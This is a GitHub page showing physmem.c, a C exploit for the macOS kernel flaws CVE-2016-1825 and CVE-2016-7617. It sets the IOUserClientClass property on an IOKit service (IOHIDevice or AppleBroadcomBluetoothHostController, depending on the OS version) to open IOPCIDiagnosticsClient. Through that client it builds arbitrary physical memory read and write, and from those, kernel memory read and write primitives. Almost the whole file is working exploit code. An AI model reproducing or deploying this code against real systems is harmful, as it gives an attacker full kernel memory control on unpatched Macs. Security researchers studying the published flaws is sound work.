-
Notifications
You must be signed in to change notification settings - Fork 13
Expand file tree
/
Copy pathphysmem.c
More file actions
159 lines (144 loc) · 4.91 KB
/
Copy pathphysmem.c
File metadata and controls
159 lines (144 loc) · 4.91 KB
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
/*
* physmem.c
* Brandon Azad
*
* An exploit for CVE-2016-1825 and CVE-2016-7617 that allows reading and writing arbitrary
* physical addresses on macOS.
*
* The physmem exploit gives us the ability to read arbitrary physical addresses. Fortunately, on
* x86-64, kernel virtual addresses within the kernel image can be mapped directly to physical
* addresses by masking off the upper 32 bits. This means we can implement kernel word read/write
* primitives directly on top of our physical read/write primitives.
*/
#include "physmem.h"
#include "fail.h"
#include <CoreFoundation/CoreFoundation.h>
#include <IOKit/IOKitLib.h>
/* Definitions from IOPCIDevice.h */
enum {
kIOPCIConfigSpace = 0,
kIOPCIIOSpace = 1,
kIOPCI32BitMemorySpace = 2,
kIOPCI64BitMemorySpace = 3
};
/* Definitions from IOPCIPrivate.h */
enum {
kIOPCIDiagnosticsMethodRead = 0,
kIOPCIDiagnosticsMethodWrite = 1,
kIOPCIDiagnosticsMethodCount
};
struct IOPCIDiagnosticsParameters {
uint32_t options;
uint32_t spaceType;
uint32_t bitWidth;
uint32_t _resv;
uint64_t value;
union {
uint64_t addr64;
struct {
unsigned int offset :16;
unsigned int function :3;
unsigned int device :5;
unsigned int bus :8;
unsigned int segment :16;
unsigned int reserved :16;
} pci;
} address;
};
/*
* target_service
*
* Description:
* The IOKit service that allows setting its IOUserClientClass property.
*
* Notes:
* We're assuming that the target macOS version is specified using MACOSX_DEPLOYMENT_TARGET at
* build time. This variable controls the value of __MAC_OS_X_VERSION_MIN_REQUIRED.
*/
#if __MAC_OS_X_VERSION_MIN_REQUIRED <= 101104
// Patched in 10.11.5: https://support.apple.com/en-us/HT206567
#define TARGET_SERVICE "IOHIDevice"
#elif __MAC_OS_X_VERSION_MIN_REQUIRED <= 101201
// Patched in 10.12.2: https://support.apple.com/en-us/HT207423
#define TARGET_SERVICE "AppleBroadcomBluetoothHostController"
#else
#error No known IOKit classes allow setting the IOUserClientClass property for this version of macOS.
#define TARGET_SERVICE NULL
#endif
static const char *target_service = TARGET_SERVICE;
/*
* connection
*
* Description:
* A connection to an instance of IOPCIDiagnosticsClient through which we can access physical
* memory.
*/
static io_connect_t connection;
void physmem_init() {
// Get a handle to a service that allows setting arbitrary IORegistry properties.
io_service_t service = IOServiceGetMatchingService(kIOMasterPortDefault,
IOServiceMatching(target_service));
if (service == IO_OBJECT_NULL) {
FAIL("could not find any services matching %s", target_service);
}
kern_return_t kr = IORegistryEntrySetCFProperty(service,
CFSTR("IOUserClientClass"),
CFSTR("IOPCIDiagnosticsClient"));
if (kr != KERN_SUCCESS) {
FAIL("could not set property: %x", kr);
}
// Create a connection to the IOPCIDiagnosticsClient.
kr = IOServiceOpen(service, mach_task_self(), 0, &connection);
IOObjectRelease(service);
if (kr != KERN_SUCCESS) {
FAIL("could not open connection: %x", kr);
}
}
uint64_t phys_read(uint64_t paddr, unsigned width) {
struct IOPCIDiagnosticsParameters param;
param.spaceType = kIOPCI64BitMemorySpace;
param.bitWidth = width * 8;
param.options = 0;
param.address.addr64 = paddr;
param.value = -1;
size_t size = sizeof(param);
kern_return_t kr = IOConnectCallMethod(connection, kIOPCIDiagnosticsMethodRead,
NULL, 0,
¶m, sizeof(param),
NULL, NULL,
¶m, &size);
if (kr != KERN_SUCCESS) {
FAIL("could not read physical address %p: %x", (void *)paddr, kr);
}
return param.value;
}
void phys_write(uint64_t paddr, uint64_t value, unsigned width) {
struct IOPCIDiagnosticsParameters param;
param.spaceType = kIOPCI64BitMemorySpace;
param.bitWidth = width * 8;
param.options = 0;
param.address.addr64 = paddr;
param.value = value;
kern_return_t kr = IOConnectCallMethod(connection, kIOPCIDiagnosticsMethodWrite,
NULL, 0,
¶m, sizeof(param),
NULL, NULL,
NULL, NULL);
if (kr != KERN_SUCCESS) {
FAIL("could not write physical address %p: %x", (void *)paddr, kr);
}
}
/*
* kernel_virtual_to_physical_mask
*
* Description:
* A bit mask to convert kernel virutal addresses within the kernel image to physical
* addresses.
*/
static const uint64_t kernel_virtual_to_physical_mask = 0xffffffff;
uint64_t kern_read(uint64_t kaddr, unsigned width) {
return phys_read(kaddr & kernel_virtual_to_physical_mask, width);
}
void kern_write(uint64_t kaddr, uint64_t value, unsigned width) {
phys_write(kaddr & kernel_virtual_to_physical_mask, value, width);
}